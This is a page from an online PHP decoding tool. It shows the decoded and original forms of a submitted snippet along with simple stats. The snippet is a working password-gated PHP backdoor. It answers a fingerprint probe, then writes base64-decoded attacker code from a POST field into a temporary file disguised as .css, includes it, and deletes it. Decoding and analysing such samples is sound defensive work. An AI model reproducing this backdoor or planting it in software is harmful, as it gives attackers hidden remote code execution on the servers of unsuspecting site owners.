Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if(isset($_GET['song1'])){ die(md5('song')); } if(isset($_POST['song2'])){ ..

Decoded Output download

<?  if(isset($_GET['song1'])){ 
        die(md5('song')); 
} 
if(isset($_POST['song2'])){ 
      $l1 = uniqid(rand(), true) . '.css'; 
      @file_put_contents($l1, 'css'); 
      if(file_exists($l1)){ 
        if(isset($_POST['stars1'])){ 
                $d = md5(md5($_POST['stars1'])); 
                if($d=="b2d5605e835f3e18d50380b90786c032"){ 
                        $d1=$_POST['stars2']; 
                        $d1=base64_decode($d1); 
                        @file_put_contents($l1, '<'.'?'.'p'.'hp '. $d1); 
                        @include($l1); 
                        @file_put_contents($l1, 'css'); 
                        @unlink($l1); 
                        die(); 
                } 
        } 
      } 
} 
 ?>

Did this file decode correctly?

Original Code

if(isset($_GET['song1'])){
        die(md5('song'));
}
if(isset($_POST['song2'])){
      $l1 = uniqid(rand(), true) . '.css';
      @file_put_contents($l1, 'css');
      if(file_exists($l1)){
        if(isset($_POST['stars1'])){
                $d = md5(md5($_POST['stars1']));
                if($d=="b2d5605e835f3e18d50380b90786c032"){
                        $d1=$_POST['stars2'];
                        $d1=base64_decode($d1);
                        @file_put_contents($l1, '<'.'?'.'p'.'hp '. $d1);
                        @include($l1);
                        @file_put_contents($l1, 'css');
                        @unlink($l1);
                        die();
                }
        }
      }
}

Function Calls

md5 1
rand 1

Variables

None

Stats

MD5 b6f8d2114b7153f4ca7bdb1eb4b53c23
Eval Count 0
Decode Time 50 ms